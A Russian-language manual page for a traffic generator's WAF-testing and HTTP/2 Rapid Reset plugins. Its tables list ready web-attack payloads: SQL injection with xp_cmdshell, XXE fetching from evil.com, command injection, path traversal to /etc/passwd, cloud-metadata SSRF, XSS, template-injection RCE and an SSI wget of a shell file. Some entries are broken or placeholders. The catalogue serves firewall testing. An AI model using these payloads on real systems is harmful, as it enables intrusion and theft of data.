Перейти к основному содержимому

WAF

WAF – плагин для генерации различного веб-трафика с заданными уязвимостями.

Данный плагин состоит из следующих параметров:

  1. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 21;

Табл. 21 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
  1. Цели - параметры для выбора объекта, в который будет направляться трафик (см .заголовок «Сети»), описание которых указаны в Табл. 22;

Табл. 22 – Параметры «Цели»

НазваниеОписаниеЗначение
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) - параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 23;

Табл. 23 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 24;

Табл. 24 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 25;

Табл. 25 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
  1. Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 26;

Табл. 26 – Параметры «Параметры HTTP»

НазваниеОписаниеЗначение
HTTPsУказывает, используется ли защищенный протокол передачи данных HTTPSДа / Нет (укажите текущее состояние переключателем тумблера)
Версия TLSВерсия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером (Параметр доступен, если параметр HTTPs включен)выберите значение TLS v1.2 или TLS v1.3
Версия HTTPУказывает версию протокола HTTP, используемую для передачи данных.выберите значение HTTP 1.1 или HTTP 2.0
User-AgentЗаголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос.Введите значение заголовка: по умолчанию, значением заговолка является: «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36» ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе
  1. WAF модули – готовые вредоносные запросы, состоящие из следующих видов тестирования:

Базовое тестирование WAF, описание приведено в Табл. 27

Табл. 27 – Параметры «Базовое тестирование WAF»

НазваниеОписаниеЗначение
Broken Access ControlЗапрос на запрещенный путь(GET /admin/delete\_user?id=1)
Injection URL (SQLi)SQL в URL?id=1+union+select+1,2,3--
Injection JSON (SOLi)SQL в JSON({“user”: {“$ne”: null}})
Injection (Command)OS Command(GET /?id=system(cd /var/jet && make &\> /dev/null);)
Insecure DesingJSON логика({“action”: “makeAdmin”, “user”: “guest”})
Security MisconfigЗапрос на .git(Get /.git/config)
Outdated ComponentsУязвимый плагин WPGET /wp-content/plugins/revslider/temp/update\_extract/revslider/
Auth FailuresС подделкой токена(Cookie: auth\_token=invalid)
Data IntegrityФейковый JS(GET /cdn/js/app.js?v=999999999)
Path TraversalОбход файлов(GET /?home=/ ../ ../ ../ ../ ../)
SSRFЗапрос в медиаданные AWS({“url”: [http://169.254.169.254/latest/meta-data/](http://169.254.169.254/latest/meta-data/)})`
XSS: BasicБазовый XSS(<script\>alert(xss)</script>)
XSS: ObfuscatedОбфусцированный XSS(\<scr\<script\>ipt\>alert(xss)\</scr\<script\>ipt\>)
Bypass: SQLi with URL-encodingSQLi c URL-энкодингом( q=%27%20OR%201 %3D1-)
Evasion: Chunked EncodingChunked Encoding(Transfer-Encoging: chunked \+ encoded payloag)

Продвинутое тестирование WAF

SQLi Advanced, описание приведено в Табл. 28;

Генерирует различные SQL-инъекций: от простых UNION SELECT до обфусцированных и байпас-атак, включая Blind SQLi и Time-based SQLi. Проверяет устойчивость к попыткам обхода фильтрации SQL

Табл. 28 – Параметры « SQLi Advanced»

НазваниеЗначение
Basic UNOIN SELECT/?id=1+union+select+1,2,3--
Comment-obfuscated UNION/?id=1+un/\*\*/ion+se/\*\*lect+1,2,3--
Case-mised UNION/?id=1+UnIoN/\*\*/SeLecT/\*\*/1,2,3--
Double UNION-SELECT bypass/?id=1+UNunionION+SEselectLECT+1,2,3--
Vertical tab separation/?id=1+uni%0bon+se%0blect+1,2,3--
Division error + hex payload/?id=0+div+1+union%23foo\*%2F\*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent\_user
Massive hex payload/?id=1+and+(select%201)=(select%200x414141414141441414141414114141414141414141414141414141414141414141%E2%80%A6.)+union+select+1,2,version(),database(),user(),6,7,8,9,10
MySQL table dump/?id=1 /\*\!union select\*/ 1,table\_name from /\*\!information\_schema.tables\*/
Hex-encoded table/?id=1 /\*\!union select\*/ 1,column\_name from /\*\!information\_schema.columns where table\_name \= 0x7573657273\*/
Compact data extraction/?id=1 /\*\!union select\*/ /\*\!user,password\*/ from /\*\!users\*/
XP_CMDSHELL/?id=1\\'; EXEC master..xp\_cmdshell "net user zeq3ul UrWaFisShiT /add" \--
LPAD function'/id/1/\*\*/
Vertical tab LPAD/id/1%0b
Double-encoded UNION/?id=1%252f%252a\*/union%252f%252a/select%252f%252a\*/1,2,3%252f%252a\*/from%252f%252a\*/users--
Current_user/?id=0%20div%201%20union%20select%201,2,current\_user
MySQL-specific UNION/?id=1/\*\!UnIoN\*/SeLecT+1,2,3--
Concat table names/?id=/\*\!UnIoN\*/+/\*\!SeLecT\*/+1,2,concat(/\*\!table\_n%20ame\*/)+FrOm/\*\!information\_schema\*/.tables/\*\!WhErE\*/+/\*\!TaBlE\_sChEMa\*/%20+like+database()--
Query stacking 1/?q=select name\&q=password from users
Query stacking 2/?q=select name,password from users
Fragmented query/?q=select/\*\&q=\*/name& amp;q=password/\*\&q=\*/from/\*\&q=\*/users
Version concat/?p=-1 union /\*\!select\*/ concat\_ws(0x3a,version(),database(),user())
Column enum/?p=-373867 union select 1,2,column\_name,4,5 from information\_schema.columns/\*
Full system info/?p=-3195 union /\*\!select\*/ 0,1,2,3,4,5,6,7,8,9,concat\_ws(0x3a,@@version,user(),database(),@@version\_compile\_os),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
Subquery/?p=( ( SELECT @a ) OR 'b' ) \--
Function bypass/?p=( (SELECT 'a' ) OR COS ( 'b') ) \--
Version check/?p=-1' or 1=@@version \--
Char-based version/?p=3520 AND (version() like char(51,46,50,51,46,53,52))
Limit abuse/?p=1' union (select 's' from users limit 1,1)
Version 2/?p=-001 union select 1,2,3,4,5,version(),7,8,9,10
System user/?p=-1 or 1=(select system\_user)--
Char alert/?p=1 union select 1,char(72,97,99,107,101,100,32,98,121,32,91,32,99,97,115,104,32,93),3,4,5,6,7/\*
Substring/?p=22 AND SUBSTRING((y()),1,1)=x/\*
Benchmark/?p="+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
Nested benchmark/?p=)) and 0=benchmark(3000000,MD5(1))%20--
Waitfor delay/?p=),NULL)%20waitfor%20delay%20'0:0:20'%20--
Nested sleep/?p=,(select \* from (select(sleep(10)))a)
JSON extract/?p=-1748 OR JSON\_EXTRACT("{""nCvS"": 9981}", "$.nCvS") \= 9981\*7055
JSON array/?p=123 AND JSON\_ARRAY\_LENGTH("\[\]") \<= 294
JSON keys/?p=123") OR JSON\_KEYS((SELECT CONVERT((SELECT CONCAT(0x7162766a71,(SELECT (ELT(4024=4024,1))),0x7178717a71)) USING utf8))) AND ("xWuM" LIKE "xWuM
Negative float/?p="union select \-7431.1, name, @aaa from u\_base--w-
Float compare/?p=or 123.22=123.22
Delay syntax/?p= waitfor delay '00:00:10'--
Nested sleep 2/?p=(select(0)from(select(sleep(15)))v)/\*'+(select(0)from(select(sleep(15)))v)+'%22+(select(0)from(select(sleep(15)))v)+%22\*/
JSON extract 2/?p=-1134') OR JSON\_EXTRACT('{\\"\\"aKER\\"\\": 9648}', '$.aKER') \= 9648\*7799 AND ('QlYa' LIKE 'QlYa
JSON depth/?p=123) AND 12=12 AND JSON\_DEPTH('{}') \!= 2521
ELT function/?p=123) AND ELT(5287=5287,5480) AND JSON\_ARRAY\_LENGTH('\[\]') \<= 2333
JSON keys 2/?p=123 AND JSON\_KEYS((SELECT CONVERT((SELECT CONCAT(0x7162766a71,(SELECT (ELT(1141=1141,1))),0x7178717a71)) USING utf8)))
JSON length/?p=123) AND (SELECT 'eNOW')='FsQu' AND JSON\_LENGTH('{}') \<= 9779

XXE Advanced, описание приведено в Табл. 29

Проверяет уязвимости в XML-парсерах. Используются атаки, способные раскрыть содержимое файлов, инициировать сетевые подключения и обойти ограничения.

Табл. 29 – Параметры «XXE Advanced»

НазваниеЗначение
External entity file read\<?xml version="1.0"?\>\<\!DOCTYPE root \[\<\!ENTITY test SYSTEM '\]\>\&test;file:///etc/passwd'\>\]\>\<root\>\&test;\</root\>
Base64 data scheme attack\<\!DOCTYPE test \[ \<\!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"\> %init; \]\>\<foo/\>
Remote DTD inclusion\<?xml version="1.0" encoding="ISO-8859-1"?\>\<\!DOCTYPE foo \[\<\!ELEMENT foo ANY \>\<\!ENTITY % xxe SYSTEM "http://evil.com/secret\_pass.txt" \>\]\>\<foo\>\&xxe;\</foo\> 
Collaborator-based SSRF\<\!DOCTYPE root \[\<\!ENTITY test SYSTEM '\]\>\&test;http://h3l9aaaaz81tmq5ztaaaaaa.burpcollaborator.net'\>\]\>\<root\>\&test;\</root\> 

Command Injection Advanced, описание приведено в Табл. 30

Проверяет, можно ли выполнить произвольные команды ОС через параметры запроса. Атаки охватывают как POSIX, так и Windows-окружения.

Табл. 30 – Параметры «Command Injection Advanced»

НазваниеЗначение
SQL-to-OS pivot/?id=10 and 1=0/(select top 1 table\_name from information\_schema.tables)
Obfuscated SQL-to-OS/?id=10 a%nd 1=0/(se%lect top 1 ta%ble\_name fr%om info%rmation\_schema.tables)
XPCMDSHELL User CreationCODEBLOCK2\_
Direct XPCMDSHELL CallCODEBLOCK3\_
Bracket Obfuscation/?xp\[cmdshell
Basic Command Chaining/?a=; ls
Newline Injection/?a=%0a ls
Subshell Execution/?a=$(ls)
Single Quote Escape/?a='ls'
Ampersand Separation/?a=& ls
URL-encoded Ampersand/?a=%26 ls
Double Ampersand/?a=1 && ls
URL-encoded Double Ampersand/?a=%26%26 ls
Pipe Separation/?a=
Double Pipe/?a=
Path Fragmentation/?a= '/b'i'n/l's'
Backslash Obfuscation/?a= /b\\\\in/l\\\\s
Variable Substitution/?a=cat$a /etc\#$a/passwd$a

File Injection Advanced, описание приведено в Табл. 31

Тестирует возможности внедрения через пути к файлам: php://, file://, zip:// и другие. Цель — получить доступ к конфиденциальным данным или исполняемым файлам.

Табл. 31 – Параметры «File Injection Advanced»

НазваниеЗначение
Basic Directory Traversal/?file=../bla.txt
Encoded Dot-Dot-Slash/?file=.%./bla.txt
PHP Filter Exploit via XML Entity/?a=\<\!ENTITY%20bin%20PUBLIC%20"php://filter/read=convert.%20base64-encode/resource=/path/to/binary/file"\>
Basic File Protocol/?p=file=/etc/passwd
File URI Scheme?p=file:///etc/passwd
PHP Base64 Filter/?p=php://filter/convert.base64-encode/resource=../../../../../etc/passwd
PHP Zlib Compression Filter/?p=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
Kubernetes Secrets via IPv6/?p=file://0000::001/var/run/secrets/kubernetes.io/serviceaccount

XML Injection Advanced, описание приведено в Табл. 32

Анализирует, как система обрабатывает пользовательские XML-вводы. Может привести к ошибкам парсинга или раскрытию данных.

Табл. 32 – Параметры «XML Injection Advanced»

НазваниеЗначение
XML Parser Logic Bypass/?test\[1=2test\_ \--

Path Traversal Advanced, описание приведено в Табл. 33

Тестирует обработку путей типа ../../etc/passwd и их различных обфускаций. Актуально для выявления доступа к защищённым системным файлам.

Табл. 33 – Параметры «Path Traversal Advanced»

НазваниеЗначение
Windows Path/?p=.../.../WINDOWS/win.ini
Null Byte Termination/?p=../../../../etc/passwd%00
JPG Null Byte/?p=../../../../etc/passwd%00jpg
Query Param Bypass/?p=../../../../etc/passwd?
Double Encoding/?p=%252e%252e%252fetc%252fpasswd
Double Encoded Null/?p=%252e%252e%252fetc%252fpasswd%00
Nested Slashes/?p=....//....//etc/passwd
Excessive Slashes/?p=..///////..////..//////etc/passwd
Backslash Bypass/?p=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
URL Encoded Slash/?p=..%2f..%2f..%2f..%2fetc%2fpasswd
Dot Encoding/?p=%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
Triple Encoding/?p=..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
Backslash Encoding/?p=..%255c..%255c..%255c..%255cetc%255cpasswd
Unicode Bypass/?p=..%c0%af..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
Dot Overload/?p=%252e%252e%252e%252e%252e%252eetcpasswd'
C1 Byte Bypass/?p=..%c1%9c..%c1%9c..%c1%9c..%c1%9cetc%c1%9cpasswd

UNC Path Traversal Advanced, описание приведено в Табл. 34

Использует пути вида \host\c$\windows\win.ini для тестирования доступа к удалённым или локальным системным ресурсам через нестандартные методы.

Табл. 34 – Параметры « UNC Path Traversal Advanced»

НазваниеЗначение
IPv6 UNC Path/?p=0::001c$windowswin.ini
Registry Access/?p=::1c$usersdefault\\ntuser.dat
Localhost UNC/?p=localhostc$windowswin.ini
Long Path Bypass/?p=file:////////////////////////c

RCE Advanced, описание приведено в Табл. 35

Имитация атак на уязвимости типа ShellShock, инъекции PHP/JS, и обход фильтров для выполнения произвольного кода на целевом сервере.

Табл. 35 – Параметры « RCE Advanced»

НазваниеЗначение
ShellShock Exploit/?p=() { :; }; echo ; /bin/bash \-c 'cat /etc/passwd'
PHP Short Tag/?p=\<?=$\_POST\[00\]?\>
Command Concatenation/?p=; cat /et'c/pa's's'wd
IP-based Execution/?p=cmd=127.0.0.1 && ls /etc
String Reversal/?p=$(printf 'hsab/nib/ e- 4321 1.0.0.721 cn'
Variable Obfuscation/?p=cat$IFS$9${PWD\[a-z\]\*}e\*c${PWD\[a−za-z\]\*}p?ss??

GraphQL Advanced, описание приведено в Табл. 36

Автоматически отправляет нестандартные, глубоко вложенные и мутированные запросы GraphQL для выявления пробелов в валидации и контроле типов.

Табл. 36 – Параметры «GraphQL Advanced»

НазваниеЗначение
Basic Schema Extraction/?query={ \_\_schema { types { name } } }
Deep Type Introspection/?query={\_\_schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on \_\_Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on \_\_InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on \_\_Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}

XSS Advanced, описание приведено в Табл. 37

Проверка на возможность внедрения JavaScript-кода в веб-страницу. Используются payload'ы для DOM-based, reflected и stored XSS.

Табл. 37 – Параметры «XSS Advanced»

НазваниеЗначение
Body Onload/?q=\<body onload=alert('test1')\>
Mouseover Event/?q=\<b onmouseover=alert('Wufff\!')\>click me\!\</b\>
Image Error/?q=\<img/src=x/onerror=xxx
Wheel Event/?q="onwheel=alert(111)
Prototype Pollution/?q=?\_\_proto\_\_\[innerHTMLinnerHTML\]=\<img/src/onerror%3dalert(1)\>
Closure Base Path/?q=?\_\_proto\_\_\[CLOSURE_BASE_PATHCLOSURE\_BASE\_PATH\]=data:,alert(1)//
Vue.js Exploit/?q=\_\_proto\_\_\[v−ifv-if\]=\_c.export constructor('alert(1)')()
SVG MIME Abuse/?q=sometext\<svg onload=alert(document.domain)\>?mimeType=text/html
SVG Short/?q='\>\<svg/onload=alertxss\>
Exception Handler/?q="\])}``catch(e){if(\!this.x)alert(document.domain),this.x=1}//
Self XSS/?q="));if(\!self.x)self.x=\!alert(document.domain)}``catch(e){}//
Image Error 2/?q=\<img src=x onerror=alert(document.domain)\>/all
JavaScript Pseudo/?q=javascript:setInterval('ale'+'rt(document.domain)')
Map Confirm/?q="Onclick="(\[11\].map(confirm))
Base64 Image/?q=\<img\\nsrc=data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=\\nonload=alert(1)\>
Autofocus Bypass/?q=\\\\"autofocus=alert(1)//
External Entity/?a=\<\!ENTITY%20pay%20SYSTEM%20"http://example.com/payload.xml"\>
Doctype Short/?a=\<\!DOCTYPE :. SYTEM "http://"
Complex Doctype/?a=\<\!DOCTYPE :\_-\_: SYTEM "http://"

SSRF Advanced, описание приведено в Табл. 38

Тестирует возможность заставить сервер делать HTTP-запросы от своего имени к внутренним сервисам, metadata API или внешним адресам.

Табл. 38 – Параметры «SSRF Advanced»

НазваниеЗначение
Cloud Metadata/?q=https://somehost/metadata/instance
Telnet IPv4/?q=telnet://2852039166/
IPv6 Transition/?q=http://\[::ffff:a9fe:a9fe\]/
AWS Metadata/?q=http://\[0:0:0:0:0:ffff:169.254.169.254\]/latest/meta-data/
OpenStack Metadata/?q=http://169.254.169.254/openstack
Octal Encoding/?q=http://0251.00376.000251.0000376/
Shortened IP/?q=http://0251.254.169.254
Localhost/?q=http://0.0.0.0:80
Gopher Protocol/?q=gopher://0.0.0.0:443
SSH Port/?q=http://0.0.0.0:22
FTP IPv4/?q=ftp://3232235521/
Short Port/?q=http://0:8080/
Minimal URL/?q=http://0/
Link-Local/?q=http://169.254.169.254
IMAP/?q=imap://2130706433
Wildcard IPv6/?q=http://\[::::\]
Compressed IPv6/?q=http://0000::1
Unicode Gopher/?q=gopher://%EF%BD%9A%EF%BD%9A%EF%BD%9A
TFTP Unicode/?q=tftp://%F0%9D%9F%8E%F0%9D%9F%8E%F0%9D%9F%8E

SSI/SSTI Advanced, описание приведено в Табл. 39

Атаки на шаблонизаторы (Jinja2, Freemarker и др.) и SSI-инструкции. Цель — выполнить команды или прочитать файлы через шаблонную логику.

Табл. 39 – Параметры «SSI/SSTI Advanced»

НазваниеЗначение
SSI Command/?q=\<\!--\#exec cmd="wget http://some\_host/shell.txt
SSI List Dir/?q=\<\!--\#exec cmd="ls" \--\>
SSI Windows Dir/?q=\<\!--\#exec cmd="dir" \--\>
Java Resource/?q=${class.getResource("./test/test.res").getContent()}
Twig RCE/?q={{\_self.env.registerUndefinedFilterCallback("exec")}}{{\_self.env.getFilter("id")}}
Freemarker RCE/?q=\<\#assign ex \= "freemarker.template.utility.Execute"?new()\>${ ex("id")}
Python Attribute/?q={{request
  1. Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указаны в Табл. 40

    Табл. 40 – Параметры «Сессии» | Название | Описание | Значение | | ----- | ----- | ----- | | Общее количество сессий | Максимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина. | Задайте числовое значение | | Тайм-аут повторного подключения | Время в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта. | Задайте числовое значение | | Подключений в секунду | Максимальное количество новых сессий, которые могут быть установлены за одну секунду. | Задайте числовое значение | | Макс. стримов (на сессию) | Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP». | Задайте числовое значение | | Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить | | Запросов в секунду (на сессию) | Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима. | Задайте числовое значение | | Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |

    1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 41.

    Табл. 41 – Параметр «Длительность» | Название | Описание | Значение | | ----- | ----- | ----- | | Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |

    HTTP/2 Rapid Reset

HTTP/2 Rapid Reset – плагин для генерации различного веб-трафика с механизмом в протоколе HTTP/2, который позволяет быстро сбрасывать соединения.

Данный плагин состоит из следующих параметров:

  1. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 42;

Табл. 42 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
  1. Цели - параметры для выбора объекта, в который будет направляться трафик (см .заголовок «Сети»), описание которых указаны в Табл. 43;

Табл. 43 – Параметры «Цели»

НазваниеОписаниеЗначение
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) - параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 44;

Табл. 44 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 45;

Табл. 45 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
  1. Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 46;

Табл. 46 – Параметры «Параметры HTTP»

НазваниеОписаниеЗначение
HTTPsУказывает, используется ли защищенный протокол передачи данных HTTPSДа / Нет (укажите текущее состояние переключателем тумблера)
Версия TLSВерсия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером (Параметр доступен, если параметр HTTPs включен)выберите значение TLS v1.2 или TLS v1.3
Версия HTTPУказывает версию протокола HTTP, используемую для передачи данных.выберите значение HTTP 1.1 или HTTP 2.0
User-AgentЗаголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос.Введите значение заголовка: по умолчанию, значением заголовка является: «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36» ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе
ПутьУказывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем.Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/»)
HTTP методМетод, используемый для запроса ресурса на сервере.выберите из следующего списка:
GET
POST
PUT
PATCH
DELETE
HTTP статусОпция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location»Включить/выключить тумблер
HTML Meta RefreshОпция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержкуВключить/выключить тумблер
ГлубинаЗначение максимально допустимого количества переадресаций в рамках одной TCP сессииЗадайте свое значение (по умолчанию, значение равно «20»)
Query параметрыПараметры, передаваемые в URL после знака вопроса (?)Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя
ЗаголовкиДополнительные метаданные, отправляемые вместе с HTTP-запросом.Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя
  1. Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 47;

Табл. 47 – Параметры «Параметры сессии»

НазваниеОписаниеЗначение
Общее количество сессийМаксимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина.Задайте числовое значение
Тайм-аут повторного подключенияВремя в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта.Задайте числовое значение
Подключений в секундуМаксимальное количество новых сессий, которые могут быть установлены за одну секунду.Задайте числовое значение
Макс. стримов (на сессию)Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP».Задайте числовое значение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить
Запросов в секунду (на сессию)Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима.Задайте числовое значение
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение
  1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 48.

Табл. 48 – Параметр «Длительность»

НазваниеОписаниеЗначение
